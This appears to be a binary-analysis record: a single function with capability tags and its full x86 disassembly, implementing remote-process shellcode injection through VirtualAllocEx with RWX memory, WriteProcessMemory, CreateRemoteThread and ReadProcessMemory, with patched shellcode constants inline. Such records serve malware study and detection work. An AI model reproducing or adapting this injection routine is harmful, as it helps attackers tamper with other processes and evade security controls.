Function at 0x40f110
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4182b5
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x41f040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], edx
mov edi, ecx
mov dword [ebp - 0x54], edi
cmp dword [0x41f7f4], 0
mov esi, dword [ebp + 8]
mov dword [ebp - 0x50], esi
jne 0x40f292
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x34]
mov dword [ebp - 0x4c], 0x88148868
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0x3735ff14
movq qword [ebp - 0x1c], xmm0
sub eax, ecx
mov dword [ebp - 0x44], 0xb8133713
mov dword [ebp - 0x40], 0x13371337
mov dword [ebp - 0x3c], 0x37a3d0ff
mov dword [ebp - 0x38], 0xc3133713
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x34], eax
je 0x40f1d4
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040e080
push dword [ebp - 0x34]
mov esi, dword [ebp - 0x1c]
lea eax, [ebp - 0x4c]
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x34]
add esp, 0xc
add eax, esi
mov dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x1000
push 0
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x18]
mov edi, eax
mov edx, dword [ebp - 0x1c]
sub ecx, edx
add ecx, edi
mov dword [0x41f7f4], edi
mov dword [0x41f7ec], ecx
push 0
lea esi, [ecx + 4]
lea eax, [esi + 4]
mov dword [0x41f7f8], esi
mov dword [edx + 1], eax
mov dword [0x41f7e8], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax + 7], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0x13], esi
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
push ecx
push eax
push edi
mov edi, dword [ebp - 0x54]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40f432
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x40f28f
mov edx, dword [ebp - 0x14]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40f285
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f285
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00416375
add esp, 8
mov esi, dword [ebp - 0x50]
push 0
push 4
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 0
push eax
push dword [0x41f7f8]
mov dword [ebp - 0x54], 0
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40f44d
push 0
push 4
lea eax, [ebp - 0x30]
mov dword [ebp - 0x54], 0
push eax
push dword [0x41f7ec]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40f2e7
push str.unable_to_write_shellcode__0_
jmp 0x40f452
mov edx, dword [esi + 0x10]
lea eax, [esi + 0x10]
xor ecx, ecx
mov dword [ebp - 0x34], eax
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
movq qword [ebp - 0x28], xmm0
lea eax, [edx + 1]
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
test eax, eax
je 0x40f341
push eax
lea ecx, [ebp - 0x28]
call fcn.0040e080
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x28]
inc ecx
push ecx
push 0
push eax
lea esi, [eax + ecx]
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], esi
mov esi, dword [ebp - 0x50]
mov edx, dword [eax]
mov dword [ebp - 4], 1
cmp dword [esi + 0x14], 0xf
jbe 0x40f350
mov esi, dword [esi]
push edx
push esi
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x34]
add esp, 0xc
mov dword [ebp - 0x54], 0
mov ecx, dword [eax]
mov eax, dword [ebp - 0x28]
push 0
mov byte [eax + ecx], 0
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
sub ecx, eax
push ecx
push eax
push dword [0x41f7e8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40f395
push str.unable_to_write_shellcode__1_
jmp 0x40f452
push 0xffffffffffffffff
push 0
push 0
push 0
push dword [0x41f7f4]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 4
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x54], 0
push eax
push dword [0x41f7f8]
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x40f3dc
push str.unable_to_read_result__2_
jmp 0x40f437
mov ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x2c]
test ecx, ecx
je 0x40f415
mov edx, dword [ebp - 0x20]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40f40b
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40f40b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.00416375
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00416332
mov esp, ebp
pop ebp
ret
push str.unable_to_write_shellcode
lea ecx, [ebp - 0x5c]
call fcn.00401270
push 0x41d46c
lea eax, [ebp - 0x5c]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push str.unable_to_reset_shellcode
lea ecx, [ebp - 0x1c]
call fcn.00401270
push 0x41d46c
lea eax, [ebp - 0x1c]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3